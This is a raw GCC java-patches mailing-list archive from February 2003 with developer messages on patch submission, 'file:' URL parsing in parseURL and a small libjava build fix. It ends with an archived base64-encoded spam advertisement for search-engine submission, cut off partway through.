16:35:40 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 20 Feb 2003 16:35:40 -0000 Received: from fleche.redhat.com (tf0105.peakpeak.com [204.144.239.105]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA20632; Thu, 20 Feb 2003 09:35:37 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 3A8C64F8329; Thu, 20 Feb 2003 09:26:46 -0700 (MST) To: mohan@thisiscool.com Cc: java-patches@gcc.gnu.org Subject: Re: Newbie Patch Submission Question References: <54E007KGYV74MLED04WU65C96404YTFC.3e54d998@p733> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Sorry, wrong ZIP CODE!! Date: 20 Feb 2003 09:26:46 -0700 In-Reply-To: <54E007KGYV74MLED04WU65C96404YTFC.3e54d998@p733> Message-ID: <877kbu7wah.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mohan" == Mohan Personal writes: Mohan> If I submit a patch to Makefile.am / configure.in, etc. do I also Mohan> include the regenerated Makefile.in / configure, etc. as part Mohan> of the patch? No, just the diffs for the original files. Tom From java-patches-return-6228-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 18:30:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30409 invoked by alias); 20 Feb 2003 18:29:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30388 invoked from network); 20 Feb 2003 18:29:58 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 20 Feb 2003 18:29:58 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18lvSC-00007O-00 for ; Thu, 20 Feb 2003 19:29:52 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18lvSB-000071-00 for ; Thu, 20 Feb 2003 19:29:51 +0100 From: Ranjit Mathew Subject: Re: Regression in GCJ 3.3 in parsing property files Date: Fri, 21 Feb 2003 00:02:06 +0530 Lines: 27 Message-ID: <3E551F26.74FFB4B6@hotmail.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Ranjit Mathew wrote: > > > > Or, I could be mistaken about all this and we would have to fix the > > > URL parsing code. Can you find out? > > > >The following patch to the parseURL( ) method fixes the problem for me: > > Is this patch acceptable? If yes, here it is in a more > palatable format: Actually, I have found more problems with parseURL( ), so it's OK if this patch is not applied right away - not that it's wrong, but I might as well submit a fuller patch. What I'm referring to is the fact that this method gets confused by other colons in the path of the URL when the URL is something like "file:/c:/temp/foo.txt". And I think this case is valid only for "file" URLs. File.toURL( ) is correct with respect to "/" being used as the file separator even on Win32 as that's what Sun's JDK is using, but it uses the "file://" format instead of "file:/" as used by JDK at least on Win32. Can someone with Sun's or IBM's JRE on Linux please tell me what it is for a path like "/foo/bar" - is it "file:///foo/bar" or just "file:/foo/bar"? Ranjit. From java-patches-return-6229-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 18:30:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31048 invoked by alias); 20 Feb 2003 18:30:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31033 invoked from network); 20 Feb 2003 18:30:25 -0000 Received: from unknown (HELO igloo.df.lth.se) (194.47.250.47) by 172.16.49.205 with SMTP; 20 Feb 2003 18:30:25 -0000 Received: from localhost (cato@localhost) by igloo.df.lth.se (8.10.2+Sun/8.9.3) with ESMTP id h1KIU4x21917; Thu, 20 Feb 2003 19:30:05 +0100 (MET) Date: Thu, 20 Feb 2003 19:30:04 +0100 (MET) From: Krister Walfridsson To: Richard.Earnshaw@arm.com cc: Michael Koch , Subject: Re: libjava embedded builds broken *again* In-Reply-To: <200302201616.h1KGGq725398@pc960.cambridge.arm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 20 Feb 2003, Richard Earnshaw wrote: > > I commit now a fix to libjava/gnu/java/nio/natSocketChannelImpl.cc. > > Please try it on your platform and tell me netgative and positive > > things. > > > > Doesn't fix things. It still dies as follows: It looks like the test was reversed. The patch below makes it build just fine for me (on arm-elf). /Krister 2003-02-20 Krister Walfridsson * gnu/java/nio/natSocketChannelImpl.cc (DISABLE_JAVA_NET): Invert test. Index: natSocketChannelImpl.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/natSocketChannelImpl.cc,v retrieving revision 1.3 diff -c -r1.3 natSocketChannelImpl.cc *** natSocketChannelImpl.cc 20 Feb 2003 07:24:37 -0000 1.3 --- natSocketChannelImpl.cc 20 Feb 2003 18:24:14 -0000 *************** *** 20,26 **** #include ! #ifndef DISABLE_JAVA_NET jint gnu::java::nio::SocketChannelImpl::SocketCreate () --- 20,26 ---- #include ! #ifdef DISABLE_JAVA_NET jint gnu::java::nio::SocketChannelImpl::SocketCreate () From java-patches-return-6230-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 20 19:10:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32390 invoked by alias); 20 Feb 2003 19:10:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31794 invoked from network); 20 Feb 2003 19:10:53 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 20 Feb 2003 19:10:53 -0000 Received: from [211.184.70.2] (helo=usa.com) by monty-python.gnu.org with smtp (Exim 4.10.13) id 18lw5k-0001Bs-00; Thu, 20 Feb 2003 14:10:46 -0500 Received: from 63.74.36.60 ([63.74.36.60]) by smtp-server.tampabayr.com with asmtp; Thu, 20 Feb 2003 20:30:18 +0100 Received: from unknown (HELO sparc.zubilam.net) (33.164.34.59) by rly-xw05.oxyeli.com with NNFMP; 20 Feb 2003 21:28:22 -1100 Received: from unknown (131.200.24.123) by rly-xw01.otpalo.com with local; Thu, 20 Feb 2003 10:26:26 -0200 Received: from 184.43.143.164 ([184.43.143.164]) by rly-xr01.nihuyatut.net with NNFMP; Thu, 20 Feb 2003 08:24:30 +1100 Received: from [213.33.151.79] by a231242.upc-a.zhello.nl with QMQP; 20 Feb 2003 19:22:34 -0200 Reply-To: Message-ID: <031a77e44d4b$5545b6d6$1ba20ba2@dolirp> From: To: Cc: , Subject: Is your Website seen LOCALLY and GLOBALLY? Date: Thu, 20 Feb 2003 09:06:39 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00E7_16B72C7B.D5227E15" X-Priority: 3 (Normal) X-MSMail-Priority: Normal Importance: Normal ------=_NextPart_000_00E7_16B72C7B.D5227E15 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: base64 PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5YZW5vbiBSZWVkIFRlY2ggR3JvdXAm cmVnOzogc2VhcmNoIGVuZ2luZSBzdWJtaXNzaW9uIGFkZCB1cmwgc3VibWlz c2lvbiBvcHRpbWl6YXRpb248L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0i Q29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNv LTg4NTktMSI+DQo8bWV0YSBuYW1lPSJEZXNjcmlwdGlvbiIgY29udGVudD0i U3VibWl0IHlvdXIgd2Vic2l0ZSBVUkwgdG8gb3ZlciAxMDAsMDAwIHNlYXJj aCBlbmdpbmVzLiBTZWFyY2ggZW5naW5lIG9wdGltaXphdGlvbiBhbmQgc3Vi bWlzc2lvbiBzZXJ2aWNlcy4gV2Vic2l0ZSBTdWJtaXNzaW9uIHRvIG92ZXIg MTAwLDAwMCBzZWFyY2ggZW5naW5lcyBhbmQgZGlyZWN0b3JpZXMuIEZyZWUg YW5hbHlzaXMuIEFkZCB1cmwgbm93ISI+DQo8bWV0YSBuYW1lPSJLZXlXb3Jk cyIgY29udGVudD0ic3VibWl0LCBzZWFyY2gsIGVuZ2luZSwgc3VibWlzc2lv biwgd2Vic2l0ZSwgZnJlZSwgU3VibWl0IFVSTCwgc3VibWl0IHdlYnNpdGUs IGZyZWUgd2Vic2l0ZSBzdWJtaXNzaW9uLCBzdWJtaXNzaW9uIHNlcnZpY2Us IGZyZWUgc2VhcmNoIGVuZ2luZSBzdWJtaXNzaW9uLCBvcHRpbWl6YXRpb24s IHNlYXJjaCBlbmdpbmUgb3B0aW1pemF0aW9uLCByYW5raW5nLCBwbGFjZW1l bnQsIFN1Ym1pdCBJdCwgU3VibWl0LWl0LCBzdW1pdCwgc3ViaXQsIGFkZCBV UkwsIHdlYnNpdGUgcHJvbW90aW9uLCBzZWFyY2ggZW5naW5lIHNlY3JldHMs IGRpcmVjdG9yeSBzdWJtaXNzaW9uLCB3ZWJzaXRlIG9wdGltaXphdGlvbiwg bmV3c2xldHRlciI+DQo8bWV0YSBuYW1lPSJBdXRob3IiIGNvbnRlbnQ9Ilhl bm9uIFJlZWQgVGVjaCBHcm91cCI+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250 ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1 OS0xIj4NCjwvaGVhZD4NCg0KPGJvZHkgYmdjb2xvcj0iI0NDQ0NDQyIgbGVm dG1hcmdpbj0iMCIgdG9wbWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFy Z2luaGVpZ2h0PSIwIiB0ZXh0PSIjMzMzMzMzIiBsaW5rPSIjRkY5OTAwIiB2 bGluaz0iI0ZGQ0MwMCI+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KICA8dGFi bGUgd2lkdGg9IjYwMCIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2Vs bHBhZGRpbmc9IjAiIGhlaWdodD0iMzUiPg0KICAgIDx0ciBib3JkZXJjb2xv cj0iI0ZGOTkwMCI+IA0KICAgICAgPHRkIHZhbGlnbj0idG9wIiB3aWR0aD0i MzElIj4gDQogICAgICAgIDx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIw IiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGhlaWdodD0iMzUi Pg0KICAgICAgICAgIDx0ciBiZ2NvbG9yPSIjRkY5OTAwIj4gDQogICAgICAg ICAgICA8dGQgaGVpZ2h0PSIzOCIgcm93c3Bhbj0iMiIgYmdjb2xvcj0iI0ND NjYwMCIgdmFsaWduPSJtaWRkbGUiIGFsaWduPSJjZW50ZXIiPjxiPiANCiAg ICAgICAgICAgICAgPC9iPjxiPiA8L2I+PC90ZD4NCiAgICAgICAgICAgIDx0 ZCBoZWlnaHQ9IjQiIG5vd3JhcCByb3dzcGFuPSIyIiBiZ2NvbG9yPSIjRkY2 NjAwIiBib3JkZXJjb2xvcj0iIzAwMDBGRiI+IA0KICAgICAgICAgICAgICA8 YSBocmVmPSJodHRwOi8vd3d3Lnhlbm9ucmVlZC5jb20vaW5kZXguaHRtbCI+ PGltZyBzcmM9Imh0dHA6Ly94ZW5vbnJlZWQuY29tL2ltYWdlcy9yb2Nrd2Vs bF9sb2dvX3RvcC5naWYiIHdpZHRoPSIzNzIiIGhlaWdodD0iNTAiIGJvcmRl cj0iMCIgYWx0PSJYZW5vbiBSZWVkIFRlY2ggR3JvdXAiPjwvYT4gDQogICAg ICAgICAgICA8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRy IHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRkY5OTAwIj4gPC90cj4NCiAgICAg ICAgPC90YWJsZT4NCiAgICA8L3RyPg0KICA8L3RhYmxlPg0KICA8ZGl2IGFs aWduPSJjZW50ZXIiPg0KICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9 IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iOCIgaGVpZ2h0PSIy NzEiIGJvcmRlcmNvbG9yPSIjOTk5OTk5IiBiZ2NvbG9yPSIjRkZGRkZGIj4N CiAgICAgIDx0ciB2YWxpZ249InRvcCI+IA0KICAgICAgICA8dGQgd2lkdGg9 IjQ0OSIgaGVpZ2h0PSI1NDQiPiANCiAgICAgICAgICA8dGFibGUgd2lkdGg9 IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5n PSIwIj4NCiAgICAgICAgICAgIDx0ciBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0 b3AiPiANCiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iNjM3Ij4gDQogICAg ICAgICAgICAgICAgPHA+PGI+PGZvbnQgZmFjZT0iQXJpYWwiIHNpemU9IjUi IGNvbG9yPSIjMzMzMzMzIj48YnI+DQogICAgICAgICAgICAgICAgICA8Zm9u dCBzaXplPSI0Ij5JcyBZb3VyIHdlYnNpdGUgYXZhaWxhYmxlIG9uIHRoZSB3 b3JsZHMgbWFqb3IgDQogICAgICAgICAgICAgICAgICBzZWFyY2ggZW5naW5l cz88L2ZvbnQ+PC9mb250Pjxmb250IGZhY2U9IkFyaWFsIiBzaXplPSI1IiBj b2xvcj0iIzAwMDAwMCI+PGZvbnQgc2l6ZT0iNCI+PGJyPg0KICAgICAgICAg ICAgICAgICAgPC9mb250PjwvZm9udD48L2I+PGZvbnQgY29sb3I9IiNGRkZG RkYiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2Vy aWYiIHNpemU9IjEiPnM8L2ZvbnQ+PGZvbnQgY29sb3I9IiMzMzMzMzMiIGZh Y2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIHNp emU9IjEiPjxicj4NCiAgICAgICAgICAgICAgICAgIEFPTCwgTVNOLCBPdmVy dHVyZSwgaVdPTiwgSG90Qm90LCBBYm91dC5jb20sIEFuendlcnMsIGNoZWxs bywgDQogICAgICAgICAgICAgICAgICBjbmV0LCBFb2V4Y2hhbmdlLCBFc3Bv dHRpbmcuY29tLCAsIExvb2tTbWFydCwgTW9iaWxDb20sIE5CQ2kmbmJzcDtl dGMgDQogICAgICAgICAgICAgICAgICBlbmpveSBhbiBhbWF6aW5nIDgwIG1p bGxpb24gcXVlcmllcyBwZXIgZGF5LjwvZm9udD48Zm9udCBjb2xvcj0iIzAw MDAwMCIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fucy1z ZXJpZiIgc2l6ZT0iMSI+IA0KICAgICAgICAgICAgICAgICAgWyA8Yj48YSBo cmVmPSJodHRwOi8vd3d3Lnhlbm9ucmVlZC5jb20vaW5kZXguaHRtbCI+bGVh cm4gbW9yZTwvYT4gDQogICAgICAgICAgICAgICAgICA8L2I+XTwvZm9udD48 L3A+DQogICAgICAgICAgICAgICAgPHA+PGI+PGZvbnQgY29sb3I9IiMwMDAw MDAiPjxiPjxmb250IHNpemU9IjUiIGZhY2U9IkFyaWFsLCBIZWx2ZXRpY2Es IHNhbnMtc2VyaWYiPjxiPjxmb250IGNvbG9yPSIjRkY2NjAwIiBzaXplPSI0 Ij5YRU5PTiANCiAgICAgICAgICAgICAgICAgIFJFRUQgVGVjaCBHcm91cDxm b250IHNpemU9IjIiPiZyZWc7PC9mb250PjwvZm9udD48L2I+PC9mb250Pjwv Yj48L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDAwMDAiIGZhY2U9IkFyaWFsIiBz aXplPSI0Ij4gDQogICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0iIzMz MzMzMyI+Z3VhcmFudGVlIHRoYXQgd2l0aGluIDcyIGhvdXJzIHlvdSB3aWxs IA0KICAgICAgICAgICAgICAgICAgYmUgaW5kZXhlZCBhbmQgYXZhaWxhYmxl IG9uIHRoZSB3b3JsZCdzIGxlYWRpbmcgc2VhcmNoIGVuZ2luZXM8L2ZvbnQ+ IA0KICAgICAgICAgICAgICAgICAgPC9mb250PjwvYj48Zm9udCBjb2xvcj0i IzAwMDAwMCIgZmFjZT0iVmVyZGFuYSwgQXJpYWwsIEhlbHZldGljYSwgc2Fu cy1zZXJpZiIgc2l6ZT0iMSI+WzwvZm9udD48Zm9udCBmYWNlPSJWZXJkYW5h LCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIxIj48Yj48 Zm9udCBjb2xvcj0iIzAwMDAwMCI+IA0KICAgICAgICAgICAgICAgICAgPGI+ PGZvbnQgY29sb3I9IiMwMDAwMDAiPjxhIGhyZWY9Imh0dHA6Ly93d3cueGVu b25yZWVkLmNvbS9pbmRleC5odG1sIj5sZWFybiANCiAgICAgICAgICAgICAg ICAgIG1vcmU8L2E+PC9mb250PjwvYj4gPC9mb250PjwvYj48Zm9udCBjb2xv cj0iIzAwMDAwMCI+XTwvZm9udD48L2ZvbnQ+PGI+PGZvbnQgY29sb3I9IiMw MDAwMDAiIGZhY2U9IkFyaWFsIiBzaXplPSI0Ij48YnI+DQogICAgICAgICAg ICAgICAgICA8L2ZvbnQ+PC9iPjwvcD4NCiAgICAgICAgICAgICAgICA8cD48 Zm9udCBmYWNlPSJBcmlhbCIgc2l6ZT0iNSIgY29sb3I9IiM4MDgwODAiPjxi Pjxmb250IGNvbG9yPSIjRkY2NjAwIiBzaXplPSIxIiBmYWNlPSJWZXJkYW5h LCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIj5Tb21lIA0KICAgICAg ICAgICAgICAgICAgYW1hemluZyB3ZWIgZmFjdHM6PC9mb250Pjxmb250IGNv bG9yPSIjRkY2NjAwIiBzaXplPSI0Ij48YnI+DQogICAgICAgICAgICAgICAg ICA8L2ZvbnQ+PC9iPjwvZm9udD48Zm9udCBmYWNlPSJBcmlhbCIgc2l6ZT0i MiIgY29sb3I9IiMwMDAwMDAiPjxmb250IHNpemU9IjEiIGZhY2U9IlZlcmRh bmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiIGNvbG9yPSIjMzMz MzMzIj4iODUlIA0KICAgICAgICAgICAgICAgICAgb2YgaW50ZXJuZXQgdXNl cnMgdXNlIHNlYXJjaCBlbmdpbmVzIHRvIGZpbmQgdGhlIHNpdGVzIHRoZXkg DQogICAgICAgICAgICAgICAgICB3YW50IjwvZm9udD48L2ZvbnQ+IDxmb250 IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYi IHNpemU9IjEiIGNvbG9yPSIjMDAwMDAwIj48YnI+DQogICAgICAgICAgICAg ICAgICA8Yj48Zm9udCBjb2xvcj0iIzMzMzMzMyI+R2VvcmdpYSBJbnN0aXR1 dGUgb2YgVGVjaG5vbG9neTwvZm9udD48L2I+PGJyPg0KICAgICAgICAgICAg ICAgICAgPGZvbnQgY29sb3I9IiMzMzMzMzMiPjxicj4NCiAgICAgICAgICAg ICAgICAgICJTZWFyY2ggZW5naW5lIGxpc3RpbmdzIGFyZSB0aGUgbnVtYmVy IG9uZSB3YXkgdG8gZ2VuZXJhdGUgdHJhZmZpYyANCiAgICAgICAgICAgICAg ICAgIG9uIHdlYnNpdGVzIiA8L2ZvbnQ+PGJyPg0KICAgICAgICAgICAgICAg ICAgPGI+PGZvbnQgY29sb3I9IiMzMzMzMzMiPldlYkNNTzwvZm9udD48L2I+ PGJyPg0KICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAg ICAgPGZvbnQgY29sb3I9IiMzMzMzMzMiPiIxNjksNDAwLDAwMCBwZW9wbGUg aW4gdGhlIFVTIGFjY2VzcyB0aGUgDQogICAgICAgICAgICAgICAgICBpbnRl cm5ldC4gOTIlIG9mIHRoZXNlIHBlb3BsZSBxdWVyeSBzZWFyY2ggZW5naW5l cyIgPC9mb250Pjxicj4NCiAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9y PSIjMzMzMzMzIj48Yj5OaWVsc2VuLU5ldHJhdGluZ3M8L2I+PC9mb250Pjxi cj4NCiAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSIjMzMzMzMzIj48 YnI+DQogICAgICAgICAgICAgICAgICAiVGhlIGludGVybmV0IGlzIGFuIGlu Y3JlZGlibGUgbWFya2V0aW5nIHRvb2wsIGJ1dCBpZiB5b3VyIHdlYnNpdGUg DQogICAgICAgICAgICAgICAgICBpcyBub3Qgc3VibWl0dGVkIG9uIGEgcmVn dWxhciBiYXNpcyB5b3UgYXJlIG1pc3NpbmcgdGhlIHdob2xlIA0KICAgICAg ICAgICAgICAgICAgcG9pbnQgb2YgdGhlIHdvcmxkIHdpZGUgd2ViIiA8L2Zv bnQ+PGJyPg0KICAgICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9IiMzMzMz MzMiPjxiPkEgU3RlaW5iZXJnIEdyb3VwPC9iPjwvZm9udD4gPC9mb250PiAN CiAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSIjMDAwMDAwIiBmYWNl PSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXpl PSIxIj5bIA0KICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj0iaHR0cDov L3d3dy54ZW5vbnJlZWQuY29tL2luZGV4Lmh0bWwiPmxlYXJuIG1vcmU8L2E+ IA0KICAgICAgICAgICAgICAgICAgPC9iPl08L2ZvbnQ+PGZvbnQgY29sb3I9 IiMwMDAwMDAiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNh bnMtc2VyaWYiIHNpemU9IjIiPjxicj4NCiAgICAgICAgICAgICAgICAgIDxi cj4NCiAgICAgICAgICAgICAgICAgIDxmb250IHNpemU9IjEiIGNvbG9yPSIj MzMzMzMzIj5UbyBvcHQgaW4gZm9yIGZ1cnRoZXIgaW5mb3JtYXRpb24gDQog ICAgICAgICAgICAgICAgICBwbGVhc2U8L2ZvbnQ+PGZvbnQgc2l6ZT0iNSIg Y29sb3I9IiMzMzMzMzMiPls8L2ZvbnQ+PGEgaHJlZj0iaHR0cDovL3d3dy54 ZW5vbnJlZWQuY29tL2luZGV4Lmh0bWwiPjxpbWcgc3JjPSJodHRwOi8veGVu b25yZWVkLmNvbS9pbWFnZXMvZmxhc2hpbmcuZ2lmIiB3aWR0aD0iMTA1IiBo ZWlnaHQ9IjE5IiBib3JkZXI9IjAiIGFsdD0iQ2xpY2sgSGVyZSI+PC9hPjxm b250IHNpemU9IjUiIGNvbG9yPSIjMzMzMzMzIj5dPC9mb250PjwvZm9udD48 L3A+DQogICAgICAgICAgICAgICAgPGhyPg0KICAgICAgICAgICAgICAgIDxm b250IGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2Vy aWYiIHNpemU9IjEiIGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBjb2xvcj0iIzk5 OTk5OSI+PGJyPg0KICAgICAgICAgICAgICAgIFlvdXIgRS1tYWlsIEFkZHJl c3MgUmVtb3ZhbC9EZWxldGluZyBJbnN0cnVjdGlvbnM6PGJyPg0KICAgICAg ICAgICAgICAgIDxicj4NCiAgICAgICAgICAgICAgICBUaGlzIGFkdmVydGlz ZW1lbnQgaXMgcHJvbW90aW5nIGxlZ2l0aW1hdGUgcHJvZHVjdHMgYW5kIHNl cnZpY2VzLiANCiAgICAgICAgICAgICAgICBXZSBjb21wbHkgd2l0aCBwcm9w b3NlZCBGZWRlcmFsL1VLIGxlZ2lzbGF0aW9uIHJlZ2FyZGluZyB1bnNvbGlj aXRlZCANCiAgICAgICAgICAgICAgICBjb21tZXJjaWFsIGUtbWFpbCBieSBw cm92aWRpbmcgeW91IHdpdGggYSBtZXRob2QgZm9yIHlvdXIgZS1tYWlsIA0K ICAgICAgICAgICAgICAgIGFkZHJlc3MgdG8gYmUgcGVybWFuZW50bHkgcmVt b3ZlZCBmcm9tIG91ciBkYXRhYmFzZSBhbmQgYW55IGZ1dHVyZSANCiAgICAg ICAgICAgICAgICBtYWlsaW5ncyBmcm9tIG91ciBjb21wYW55LiA8YnI+DQog ICAgICAgICAgICAgICAgVG8gcmVtb3ZlIHlvdXIgYWRkcmVzcywgcGxlYXNl IHNlbmQgYW4gZS1tYWlsIG1lc3NhZ2Ugd2l0aCB0aGUgDQogICAgICAgICAg ICAgICAgd29yZCBSRU1PVkUgaW4gdGhlIHN1YmplY3QgbGluZSB0bzogaW5m b0B4ZW5vbnJlZWQuY29tPGJyPg0KICAgICAgICAgICAgICAgIElmIHlvdSBk byBub3QgdHlwZSB0aGUgd29yZCBSRU1PVkUgaW4gdGhlIHN1YmplY3QgbGlu ZSwgeW91ciByZXF1ZXN0IA0KICAgICAgICAgICAgICAgIHRvIGJlIHJlbW92 ZWQgd2lsbCBub3QgYmUgcHJvY2Vzc2VkLiA8L2ZvbnQ+PC9mb250PjwvdGQ+ DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDwvdGFibGU+DQogICAg ICAgICANCiAgICAgICAgICAgIDwvdGQ+DQogICAgICAgIDx0ZCBjb2xzcGFu PSIyIiBoZWlnaHQ9IjU0NCIgd2lkdGg9IjExOSI+IA0KICAgICAgICAgIDxw Pjxmb250IHNpemU9IjEiIGZhY2U9IlZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRp Y2EsIHNhbnMtc2VyaWYiIGNvbG9yPSIjRkY2NjAwIj48aW1nIHNyYz0iaHR0 cDovL3hlbm9ucmVlZC5jb20vaW1hZ2VzL3dvbWFuX3Bob25lLmpwZyIgd2lk dGg9IjExNyIgaGVpZ2h0PSIxMDIiIGFsdD0iSGVscGRlc2siPjxicj4NCiAg ICAgICAgICAgIDwvZm9udD48Zm9udCBmYWNlPSJWZXJkYW5hLCBBcmlhbCwg SGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBzaXplPSIxIiBjb2xvcj0iIzMzMzMz MyI+PGI+PGJyPg0KICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgTWFq b3IgU2VhcmNoIEVuZ2luZXM6PC9iPjwvZm9udD48Zm9udCBzaXplPSIxIiBm YWNlPSJWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBj b2xvcj0iI0ZGNjYwMCI+PGEgaHJlZj0iaHR0cDovL3d3dy5hbGV4YS5jb20l MjAlM0NiciUzRSI+PC9hPjwvZm9udD48Zm9udCBzaXplPSIxIiBmYWNlPSJW ZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmIiBjb2xvcj0i I0ZGNjYwMCI+PGEgaHJlZj0iaHR0cDovL3d3dy55YWhvby5jb20iPjxicj4N CiAgICAgICAgICAgIDxicj4NCiAgICAgICAgICAgIHd3dy55YWhvby5jb208 L2E+PGJyPg0KICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL3d3dy5hbHRh dmlzdGEuY29tIj53d3cuYWx0YXZpc3RhLmNvbTwvYT4gPGJyPg0KICAgICAg ICAgICAgPGEgaHJlZj0iaHR0cDovL3d3dy5ub3J0aGVybmxpZ2h0LmNvbSI+ d3d3Lm5vcnRoZXJubGlnaHQuY29tPC9hPjxicj4NCiAgICAgICAgICAgIDxh IGhyZWY9Imh0dHA6Ly93d3cubHljb3MuY29tIj53d3cubHljb3MuY29tIDwv YT48YnI+DQogICAgICAgICAgICA8YSBocmVmPSJodHRwOi8vd3d3LmV4Y2l0 ZS5jb20iPnd3dy5leGNpdGUuY29tIDwvYT48YnI+DQogICAgICAgICAgICA8 YSBocmVmPSJodHRwOi8vd3d3LmhvdGJvdC5jb20iPnd3dy5ob3Rib3QuY29t IDwvYT48YnI+DQogICAgICAgICAgICA8YSBocmVmPSJodHRwOi8vd3d3LmFz ay5jb20iPnd3dy5hc2suY29tIDwvYT48YnI+DQogICAgICAgICAgICA8YSBo cmVmPSJodHRwOi8vd3d3LndlYmNyYXdsZXIuY29tIj53d3cud2ViY3Jhd2xl ci5jb20gPC9hPjxicj4NCiAgICAgICAgICAgIDxhIGhyZWY9Imh0dHA6Ly93 d3cuc2NvdXIuY29tIj53d3cuc2NvdXIuY29tIDwvYT48YnI+DQogICAgICAg ICAgICA8YSBocmVmPSJodHRwOi8vd3d3LmdvLmNvbSI+d3d3LmdvLmNvbSA8 L2E+PGJyPg0KICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovL3d3dy5hb2wu Y29tIj53d3cuYW9sLmNvbSA8L2E+PGJyPg0KICAgICAgICAgICAgPGEgaHJl Zj0iaHR0cDovL3d3dy5kaXJlY3RoaXQuY29tIj53d3cuZGlyZWN0aGl0LmNv 